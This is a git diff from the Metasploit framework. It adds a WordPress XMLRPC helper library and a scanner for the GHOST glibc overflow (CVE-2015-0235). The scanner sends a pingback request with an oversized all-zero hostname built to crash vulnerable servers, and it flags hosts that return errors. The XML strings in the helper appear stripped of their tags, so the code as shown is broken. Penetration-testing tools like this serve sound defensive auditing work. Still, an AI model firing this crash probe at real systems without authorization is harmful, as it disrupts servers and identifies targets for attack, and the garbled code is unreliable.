diff --git a/lib/msf/http/wordpress.rb b/lib/msf/http/wordpress.rb index 53148c2483..82182ee44f 100644 --- a/lib/msf/http/wordpress.rb +++ b/lib/msf/http/wordpress.rb @@ -11,6 +11,7 @@ module Msf require 'msf/http/wordpress/uris' require 'msf/http/wordpress/users' require 'msf/http/wordpress/version' + require 'msf/http/wordpress/xmlrpc' include Msf::Exploit::Remote::HttpClient include Msf::HTTP::Wordpress::Base @@ -20,6 +21,7 @@ module Msf include Msf::HTTP::Wordpress::URIs include Msf::HTTP::Wordpress::Users include Msf::HTTP::Wordpress::Version + include Msf::HTTP::Wordpress::XmlRpc def initialize(info = {}) super diff --git a/lib/msf/http/wordpress/xmlrpc.rb b/lib/msf/http/wordpress/xmlrpc.rb new file mode 100644 index 0000000000..1e926ce7a1 --- /dev/null +++ b/lib/msf/http/wordpress/xmlrpc.rb @@ -0,0 +1,40 @@ +# -*- coding: binary -*- + +module Msf::HTTP::Wordpress::XmlRpc + + # Determines if the XMLRPC interface is enabled by sending a demo.sayHello reuqest + # + # @return [Boolean] true if the interface is enabled + def wordpress_xmlrpc_enabled? + xml = wordpress_generate_xml_rpc_body('demo.sayHello') + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + return true if res && res.body =~ /Hello!<\/string>/ + return false + end + + # Extracts the Wordpress version information from various sources + # + # @param method_name [String] The XMLRPC method to call + # @param params [String] The XMLRPC method params + # @return [String] xml string + def wordpress_generate_xml_rpc_body(method_name, *params) + xml = "" + xml << "" + xml << "#{method_name}" + xml << "" + params.each do |p| + xml << "#{p}" + end + xml << "" + xml << "" + return xml + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb new file mode 100644 index 0000000000..4760daec4d --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress XMLRPC Ghost vulnerability scanner', + 'Description' => %q{ + This module can be used to determine hosts vulnerable to the Ghost vulnerability via + a call to the WordPress XMLRPC interface. If the target is vulnerable, the system + will segfault and return a server error. On patched systems a normal XMLRPC error + is returned. + }, + 'Author' => + [ + 'Robert Rowley', + 'Christophe De La Fuente' , + 'Chaim Sanders' , + 'Felipe Costa' , + 'Jonathan Claudius' , + 'Karl Sigler' , + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0235' ], + [ 'URL', 'http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html'], + [ 'URL', 'http://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html'] + ] + )) + + register_options( + [ + OptInt.new('COUNT', [false, 'Number of iterations', 2500]), + ], self.class) + end + + def count + datastore['COUNT'] + end + + def generate_pingback_xml(target, valid_blog_post) + wordpress_generate_xml_rpc_body('pingback.ping', target, valid_blog_post) + end + + def run_host(ip) + unless wordpress_and_online? + print_error("#{peer} - Looks like this site is no WordPress blog") + return + end + + unless wordpress_xmlrpc_enabled? + print_error("#{peer} - XMLRPC interface is not enabled") + return + end + + ghost = "0" * count + payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php" + xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload) + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + if res.nil? || res.code == 500 + print_good("#{peer} - vulnerable to GHOST") + report_vuln( + :host => ip, + :proto => 'tcp', + :port => datastore['RPORT'], + :name => self.name, + :info => "Module #{self.fullname} found GHOST vulnerability", + :sname => datastore['SSL'] ? "https" : "http" + ) + else + print_status("#{peer} - target not vulnerable to GHOST") + end + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index cc81b492bc..2af76c6918 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -42,30 +42,9 @@ class Metasploit3 < Msf::Auxiliary deregister_options('BLANK_PASSWORDS') # we don't need this option end - def xmlrpc_enabled? - xml = "" - xml << '' - xml << 'demo.sayHello' - xml << '' - xml << '' - xml << '' - xml << '' - - res = send_request_cgi( - 'uri' => wordpress_url_xmlrpc, - 'method' => 'POST', - 'data' => xml - ) - - if res && res.body =~ /Hello!<\/string>/ - return true # xmlrpc is enabled - end - return false - end - def run_host(ip) print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") - if xmlrpc_enabled? + if wordpress_xmlrpc_enabled? vprint_good("XMLRPC enabled, Hello message received!") else print_error("XMLRPC is not enabled! Aborting")